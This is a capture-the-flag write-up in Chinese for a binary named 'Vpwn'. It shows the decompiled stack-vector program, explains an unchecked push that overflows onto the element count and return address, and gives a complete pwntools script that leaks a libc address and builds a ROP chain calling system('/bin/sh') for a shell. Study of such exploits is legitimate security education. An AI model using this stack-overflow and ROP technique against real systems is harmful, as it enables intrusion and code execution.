Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
保护全开。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // ebx
int v5; // [rsp+8h] [rbp-68h] BYREF
int v6; // [rsp+Ch] [rbp-64h] BYREF
__int64 v7; // [rsp+10h] [rbp-60h] BYREF
char v8[40]; // [rsp+30h] [rbp-40h] BYREF 栈顶在 v8 + 24 的地方,所以栈只能放 6 个 int_32
unsigned __int64 v9; // [rsp+58h] [rbp-18h]
v9 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_1840((__int64)v8); // 栈个数清零
while ( 1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "\nMenu:\n");
std::operator<<<std::char_traits<char>>(&std::cout, "1. Edit an element in the vector\n");
std::operator<<<std::char_traits<char>>(&std::cout, "2. Push a new element\n");
std::operator<<<std::char_traits<char>>(&std::cout, "3. Pop the last element\n");
std::operator<<<std::char_traits<char>>(&std::cout, "4. Print vector\n");
std::operator<<<std::char_traits<char>>(&std::cout, "5. Exit\n");
std::operator<<<std::char_traits<char>>(&std::cout, "Enter your choice: ");
std::istream::operator>>(&std::cin, &v5);
switch ( v5 )
{
case 1:
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): ");
std::istream::operator>>(&std::cin, &v7);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: ");
std::istream::operator>>(&std::cin, &v6);
v3 = v6;
*(_DWORD *)sub_185C(v8, v7) = v3;
std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n");
break;
case 2:
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the value to push: ");
std::istream::operator>>(&std::cin, &v7);
sub_18F4(v8, &v7);
std::operator<<<std::char_traits<char>>(&std::cout, "Element pushed successfully.\n");
break;
case 3:
sub_1928((__int64)v8);
std::operator<<<std::char_traits<char>>(&std::cout, "Last element popped successfully.\n");
break;
case 4:
sub_19BC((__int64)v8);
break;
case 5:
std::operator<<<std::char_traits<char>>(&std::cout, "Exiting program.\n");
return 0LL;
default:
std::operator<<<std::char_traits<char>>(&std::cout, "Invalid choice! Please enter a valid option.\n");
break;
}
}
}
__int64 __fastcall sub_1840(__int64 a1)
{
__int64 result; // rax
result = a1;
*(_QWORD *)(a1 + 24) = 0LL;
return result;
}
__int64 __fastcall sub_185C(__int64 a1, unsigned __int64 a2)
{
std::out_of_range *exception; // rbx
if ( a2 >= *(_QWORD *)(a1 + 24) )
{
exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
std::out_of_range::out_of_range(exception, "Index out of range");
__cxa_throw(
exception,
(struct type_info *)&`typeinfo for'std::out_of_range,
(void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
}
return 4 * a2 + a1;
}
__int64 __fastcall sub_18F4(__int64 a1, int *a2)
{
int v2; // ecx
__int64 result; // rax
v2 = *a2;
result = *(_QWORD *)(a1 + 24);
*(_QWORD *)(a1 + 24) = result + 1;
*(_DWORD *)(a1 + 4 * result) = v2;
return result;
}
__int64 __fastcall sub_1928(__int64 a1)
{
std::out_of_range *exception; // rbx
__int64 result; // rax
if ( !*(_QWORD *)(a1 + 24) )
{
exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
std::out_of_range::out_of_range(exception, "StackVector is empty");
__cxa_throw(
exception,
(struct type_info *)&`typeinfo for'std::out_of_range,
(void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
}
result = a1;
--*(_QWORD *)(a1 + 24);
return result;
}
程序比较好懂,模拟了一个栈,然而 push 函数没有对栈进行检查,可以随便溢出,而且第 7 个位置可以随意修改当前栈元素个数。利用思路十分简单:篡改栈元素个数泄露栈上残留的与 libc 相关的地址从而泄露 libc 基地址,再将 ROP 链 push 到返回地址,最后按 5 触发 main 函数的返回,激活 ROP 链,以此拿到 shell.
虽然看上去非常简单,但是实现起来还是需要注意一些细节,比如栈中元素的数据类型,带符号 4 字节大小,元素大小只能在 -231 ~ 231-1 这个范围,并且由于程序是 64 位的,所以里面的地址都是 8 字节的,读取时要合并,写入时要分拆,有点麻烦。
from pwn import *
io = process('./Vpwn')
libc = ELF('libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, 'b *$rebase(0x15c1)')
def cmd(choice):
io.recvuntil(b'Enter your choice:')
io.sendline(str(choice))
def edit(index, value):
cmd(1)
io.recvuntil(b'Enter the index to edit (0-based): ')
io.sendline(str(index))
io.recvuntil(b'Enter the new value: ')
io.sendline(str(value))
def push(value):
cmd(2)
io.recvuntil(b'Enter the value to push: ')
io.sendline(str(value))
def pop():
cmd(3)
def show():
cmd(4)
def exit():
cmd(5)
def sign2unsigned(value):
return value & 0xffffffff
def unsigned2sign(value):
return value | 0x100000000
for i in range(6):
push(0x10)
push(0x100) # 想看几个看几个 0x78-0x30
# leak libc
show()
io.recvuntil(b'StackVector contents: ')
dt = io.recvuntil(b'\n').strip(b" \n").split(b' ')
# print(dt)
dt2 = [hex(sign2unsigned(int(i))) for i in dt]
print(dt2)
# 因为输出的时候是 4 字节一输出,所以要两两合并才能得到真实的地址
# 相差 0x48 的地方有个 libc 相关的地址,减去偏移就是基地址
dt3 = []
for i in range(8, len(dt2), 2):
latter = dt2[i][2:]
former = dt2[i+1][2:]
complete = '0x' + former + latter.rjust(8, '0')
dt3.append(int(complete, 16))
offset = 0x29d90
libc_start_addr = dt3[5]
libc.address = libc_start_addr - offset
print(hex(libc.address))
# ROP chain
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000011f2e7 : pop rdx ; pop r12 ; ret
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# 写入指定位置,需要修改栈大小,懒得算,调试一下看看差多少
edit(6, 0x12)
# 将 ROP 写进栈中时要考虑到栈还是 4 字节一格,但地址是 8 字节的
# 注意! 栈里面数据带符号,所以只能存 -2^31 ~ 2^31-1 的数
def cutdown(value):
if value > 0x7fffffff:
return value - 0x100000000
return value
def makeinstack(addr):
addr_str = hex(addr)[2:].rjust(16, '0')
latter = int(addr_str[:8], 16)
former = int(addr_str[8:], 16)
former = cutdown(former)
latter = cutdown(latter)
push(former)
push(latter)
makeinstack(pop_rdi)
makeinstack(binsh_addr)
makeinstack(pop_rsi)
makeinstack(0)
makeinstack(pop_rdx_r12)
makeinstack(0)
makeinstack(0)
makeinstack(system_addr)
# trigger
exit()
io.interactive()